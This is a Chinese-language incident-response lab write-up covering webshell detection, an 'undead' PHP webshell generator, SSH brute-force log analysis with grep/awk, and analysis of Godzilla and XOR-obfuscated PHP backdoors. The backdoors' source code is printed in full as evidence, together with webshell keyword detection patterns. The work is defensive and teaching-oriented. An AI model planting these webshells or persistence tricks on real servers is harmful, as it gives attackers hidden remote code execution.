玄机靶场应急响应系列(第一章)

admin 2024年7月19日00:32:14评论68 views字数 6930阅读23分6秒阅读模式

第一章 应急响应

Linux 入侵排查

简介

1.web目录存在木马,请找到木马的密码提交2.服务器疑似存在不死马,请找到不死马的密码提交3.不死马是通过哪个文件生成的,请提交文件名4.黑客留下了木马文件,请找出黑客的服务器ip提交5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交
根据提示,我们已知web目录存在木马,需要我们上机排查;但我们上机排查时应该确定什么信息呢?web 服务是什么环境,php、java 还是 net 呢?进入到web目录,我们可以看到php的文件,再加上服务器开启的apache服务,可以确定是php环境的web服务。

玄机靶场应急响应系列(第一章)

玄机靶场应急响应系列(第一章)

上机之后,我们通过服务器安装的组件和 web 目录下的文件,确定服务器的环境为php,这里我们就使用php环境下的处理方式,先将 web 目录下载下来
在实际现场中,我们需要保障时效性的,如现场无商业版自动化工具,经过客户同意,我们可以使用个人版的自动化工具,比如说 D盾河马,如不可以只能手工进行关键恶意文件排查

自动化

D盾扫描结果

玄机靶场应急响应系列(第一章)

使用 D 盾扫描之后,我们发现存在四个可疑文件

河马扫描结果

玄机靶场应急响应系列(第一章)

使用河马 WEBSHELL 查杀,这边我们也发现和D盾差不多的扫描结果

自动化查杀可疑文件.shell.php1.php1.tarindex.php疑似后门htmlincludeDbSqlite.phphtmlincludeModelSpider.php

手工排查

文件md5值计算,在前期就已经备份好文件,备份文件比对,在Linux中可以使用diff命令去比较两个文本文件的差异,diff -c -a -r test1 test2,这个命令会递归地比较test1和test2目录中的所有文件,将它们都当作文本文件,并使用上下文格式显示它们之间的差异关键字排查find ./ -name "*.php" |xargs egrep 'assert|bash|system|phpspy|c99sh|milw0rm|eval|(gunerpress|(base64_decoolcode|spider_bc|shell_exec|passthru|($_POST[|eval(|file_put_contents|base64_decode'查找日志的可疑活动,异常行为grep -E 'POST|UPLOAD|eval|base64_decode|shell_exec' /var/log/apache2/access.log根据情况调取文件短期改动分析find ./ -type f -mtime -7 -exec grep -riE 'eval(|base64_decode(|gzinflate(|shell_exec(|system(|passthru(|exec(|assert(|popen(|proc_open(' {} +这个命令会查找七天内修改过的文件,并且在这些文件内搜索webshell关键字使用正则去匹配混淆代码grep -riE '($[a-zA-Z0-9_]+ ?= ?("|')[a-zA-Z0-9+/=]+("|');)' ./这个代码可以用于尝试匹配变量赋值中的base64编码字符串

这里我们使用关键字排查

root@ip-10-0-10-1:/var/www/html# find ./ -name "*.php" |xargs egrep 'assert|bash|system|phpspy|c99sh|milw0rm|eval|(gunerpress|(base64_decoolcode|spider_bc|shell_exec|passthru|($_POST[|eval(|file_put_contents|base64_decode'./.shell.php:<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>./index.php:$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';./index.php:file_put_contents($file, $code);./index.php:system('touch -m -d "2021-01-01 00:00:01" .shell.php');./1.php:<?php eval($_POST[1]);?>
经过排查,我们确定这三个为可疑文件,因为不知道具体的webshell利用关键字,我们使用匹配的规则比较宽泛。通过文件的内容,我们可知,1.php为一个单纯的webshell木马,index.php.shell.php似乎是组合

玄机靶场应急响应系列(第一章)

现在我们排查出了比较明显的木马文件,但是我们知道,在现在的后渗透中,经常伴随着不死马,内存马的持续利用,根据提示,我们排查不死马,已知是php环境

玄机靶场应急响应系列(第一章)

index.php<?php$file = '/var/www/html/.shell.php';$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';file_put_contents($file, $code);system('touch -m -d "2021-01-01 00:00:01" .shell.php');usleep(3000);?>
这部分代码是创建 webshell 的关键。 $file = '/var/www/html/.shell.php';定义了 webshell 文件的路径。$code变量包含 webshell 的 PHP 代码。这段代码会检查 POST 请求中的pass参数的MD5哈希值是否匹配,如果匹配,就会执行 cmd 参数中的 PHP 代码。可以很明显的看出来是一个webshell后门 file_put_contents($file, $code); 将 webshell 代码写入 .shell.php 文件。 system('touch -m -d "2021-01-01 00:00:01" .shell.php'); 修改文件的修改时间为 2021 年 1 月 1 日,应该是为了掩盖文件的创建时间。usleep(3000); 暂停脚本执行 3000 微秒(3 毫秒)。

当这个index.php文件被请求执行时,会运行一次生成.shell.php的操作

通过已知的这些信息,我们可以查询关于这些木马文件的 web访问日志,有可能获取到攻击者真实的 IP,获取到真实 IP,有利于我们进行反制和其他失陷主机的排查

入侵排查除了排查 webshell 文件外,我们还应该排查其他的后门文件后门用户定时计划自启动项外联 IP 端口等等、根据场景我们知道攻击者还留存有一个木马文件,我们可知Windows 下的可执行文件后缀为.exe,在Linux 下的可执行文件后缀为 elf,结合我们前期看 web 目录下文件时发现存在一个shell(1).elf的文件,加上shell这个名称也比较敏感和我们之前发现的 webshell 名称相同,列为可疑文件,但是在我们排查外联端口 IP 时没有发现该进程,有可能是该木马并没有被触发,但是在客户现场的环境下,我们不可能直接去触发该木马,这时候就使用到一些云沙箱工具了,或者说我们自己放到虚拟机去自行执行,减少一个因为误操作造成的危害。

这边我使用微步云沙箱去检测,除了微步,其实我们还可以使用其他各大厂商的威胁情报平台去分析

玄机靶场应急响应系列(第一章)

通过云沙箱检测,我们可以确定这个文件为一个恶意木马文件,且外联 IP 为 10.11.55.21,但是我们还想知道外连端口怎么办,那就用 360 的云沙箱,外连端口为 3333

玄机靶场应急响应系列(第一章)

还有安恒的云沙箱也很不错,这边还告诉我们是使用什么工具生成的后门木马

玄机靶场应急响应系列(第一章)

通过拿到攻击者的 IP 信息与使用的木马后门生成工具信息,有利于我们后续的一些应急与溯源反制

Linux 日志分析

简介

1.有多少IP在爆破主机ssh的root帐号,如果有多个使用","分割2.ssh爆破成功登陆的IP是多少,如果有多个使用","分割3.爆破用户名字典是什么?如果有多个使用","分割4.登陆成功的IP共爆破了多少次5.黑客登陆主机后新建了一个后门用户,用户名是多少
根据我们已知的信息,可知本次Linux 日志分析的内容主要是关于 SSH 爆破攻击的,关于 SSH 爆破攻击,我们需要关心的内容主要有那些 IP 在攻击主机的 SSH,有攻击成功的 IP 吗,攻击者的字典是怎么样的,攻击者是从什么时间线开始的,攻击者登陆成功之后都干了什么
已知是关于 SSH 爆破的,在 Linux 系统中,/var/log/auth.log 文件记录了与身份验证相关的所有活动,在当前路径下,我们看到了两个 auth.log,关于这个 auth.log.1 文件,是因为系统的一个日志轮换机制,当日志文件达到一定大小或满足特定的时间条件时,auth.log 文件会轮转,旧的文件会被重命名为auth.log.1,其他顺延

玄机靶场应急响应系列(第一章)

查看有多少个 IP 在爆破主机的 root 账户,登陆的关键词是 password for root,我们需要 IP 和统计它出现的次数,构造命令
cat /var/log/auth.log.1 /var/log/auth.log | grep -a "password for root" | awk '{print $11}' | sort | uniq -c | sort -nr | more
cat 命令用于连接auth.log.1auth.log的内容合并输出;grep用于搜索文本中的特定模式,-a 代表将文件视为文本文件,"your keyword"是搜索的模式,也就是日志文件内包含该字样的行;awk 文本处理工具,用于提取文件的字段,提取var/log/auth.log文件中的第十一个字段,awk 默认使用空格作为字段分隔符;sort 命令用于排序,-n 按数值排序,-r 按降序排;uniq -c 用于进行一个去重,-c 参数表示计数,IP 出现的次数;more 用于分页显示长输出

玄机靶场应急响应系列(第一章)

登陆成功的关键词是 Accepted,我们需要知道它的 IP,构造命令

cat /var/log/auth.log.1 /var/log/auth.log | grep -a "Accepted " | awk '{print $11}' | sort | uniq -c | sort -nr | more

玄机靶场应急响应系列(第一章)

攻击者使用的字典是怎么样的,构造命令

cat /var/log/auth.log.1 /var/log/auth.log | grep -a "Failed password" | perl -ne 'if(/for (.*?) from/){ print "$1n";}' | sort | uniq -c | sort -nr
perl -n表示会循环读每一行,-e 表示后面跟的代码是一个 perl 表达式,也就是它if(/for (.*?) from/){ print "$1n";},for 和 from 是一个固定的字符串,当遇到匹配的就会输出他们中间的内容,也就是这里(.*?)

玄机靶场应急响应系列(第一章)

已知攻击者IP为192.168.200.2,现在需要对他攻击线梳理一下,构造命令

cat /var/log/auth.log.1 /var/log/auth.log | grep -a "Failed password" | awk '{if($11=="192.168.200.2") print $11}'|sort|uniq -c

攻击者爆破了 4 次

玄机靶场应急响应系列(第一章)

现在来到了,排查攻击者留下的东西后门用户,在创建时在 auth.log 存在一个记录,并且服务器上也应该存在一个账户管理表,可以排查是否有异常的账户

查找攻击者进行用户创建的记录

cat /var/log/auth.log.1 /var/log/auth.log | grep -a "new user"

玄机靶场应急响应系列(第一章)

检查/etc/passwd内容

玄机靶场应急响应系列(第一章)

webshell 查杀

1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}2.黑客使用的什么工具的shell github地址的md5 flag{md5}3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx4.黑客免杀马完整路径 md5 flag{md5}
已知web目录存在木马,需要我们上机排查;但我们上机排查时应该确定什么信息呢?web 服务是什么环境,php、java 还是 net 呢?

玄机靶场应急响应系列(第一章)

玄机靶场应急响应系列(第一章)

服务器中存在我们熟悉的 apache 服务,且 web 目录下为 php 文件,可以确定是 php 环境的网站
在实际现场中,我们需要保障时效性的,如现场无商业版自动化工具,经过客户同意,我们可以使用个人版的自动化工具,比如说 D 盾河马,如不可以只能手工进行关键恶意文件排查

在这一次的靶机环境中,无法下载 web 目录下来,固先进行手工关键字排查

root@ip-10-0-10-7:/var/www/html/include/Db# find /var/www/html -name "*.php" |xargs egrep 'assert|bash|system|phpspy|c99sh|milw0rm|eval|(gunerpress|(base64_decoolcode|spider_bc|shell_exec|passthru|($_POST[|eval(|file_put_contents|base64_decode'
这里我们通过查询,发现几个主要的可疑文件,shell.php我们可以看出是个很普通的webshell,其他三个文件就需要再深入研究一下

玄机靶场应急响应系列(第一章)

我们确定可疑文件之后,为了更加稳妥,将文件内容 copy 下来到让自动化工具扫描一下

D盾扫描结果

玄机靶场应急响应系列(第一章)

河马在线扫描结果

玄机靶场应急响应系列(第一章)

通过自动化工具扫描,更加证实了这些后门的真实性,现在我们先分析gz.php

<?php@session_start();@set_time_limit(0);@error_reporting(0);function encode($D,$K){    for($i=0;$i<strlen($D);$i++) {        $c = $K[$i+1&15];        $D[$i] = $D[$i]^$c;    }    return $D;}//027ccd04-5065-48b6-a32d-77c704a5e26d$payloadName='payload';$key='3c6e0b8a9c15224a';$data=file_get_contents("php://input");if ($data!==false){    $data=encode($data,$key);    if (isset($_SESSION[$payloadName])){        $payload=encode($_SESSION[$payloadName],$key);        if (strpos($payload,"getBasicsInfo")===false){            $payload=encode($payload,$key);        }                eval($payload);        echo encode(@run($data),$key);    }else{        if (strpos($data,"getBasicsInfo")!==false){            $_SESSION[$payloadName]=encode($data,$key);        }    }}
关键代码$data=file_get_contents("php://input");,经典的PHP 伪协议;$key 等于 shell 密钥的MD5 值的前 16 位;这里用了哥斯拉的 PHP_XOR_RAW 加密器,还有一个隐藏文件.Mysqli.phpgz.php内容格式相同,也是哥斯拉的马子

使用安恒云沙箱,也可以检测出来这是哥斯拉的马子 

玄机靶场应急响应系列(第一章)

分析完了两个哥斯拉的马子,还剩下一个top.php,没有太明显的特征,用了base64编码和XOR加密
<?php$key = "password";//ERsDHgEUC1hI$fun = base64_decode($_GET['func']);for($i=0;$i<strlen($fun);$i++){    $fun[$i] = $fun[$i]^$key[$i+1&7];}$a = "a";$s = "s";$c=$a.$s.$_GET["func2"];?>
该后门利用的话,需要从 URL 参数中获取加密的恶意代码进行解码解密,xor运算解密后,解密的代码会存储$fun变量中,通过动态生成函数名$c并执行解密后的恶意代码才能利用,在源代码中没有实际调用的过程。我对ERsDHgEUC1hI这串字符串挺好奇的,尝试进行base64解密,解不出来,直接使用xor解密得到一个看不懂的字符串$!3'!%"B>
感谢阅读,如果师傅们觉得本文对你有帮助,还请帮忙点点“在看”和“分享”,让更多的人看到,如果各位师傅有什么建议或指正,请私信我。

原文始发于微信公众号(ZeroPointZero安全团队):玄机靶场应急响应系列(第一章)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月19日00:32:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   玄机靶场应急响应系列(第一章)https://cn-sec.com/archives/2971903.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息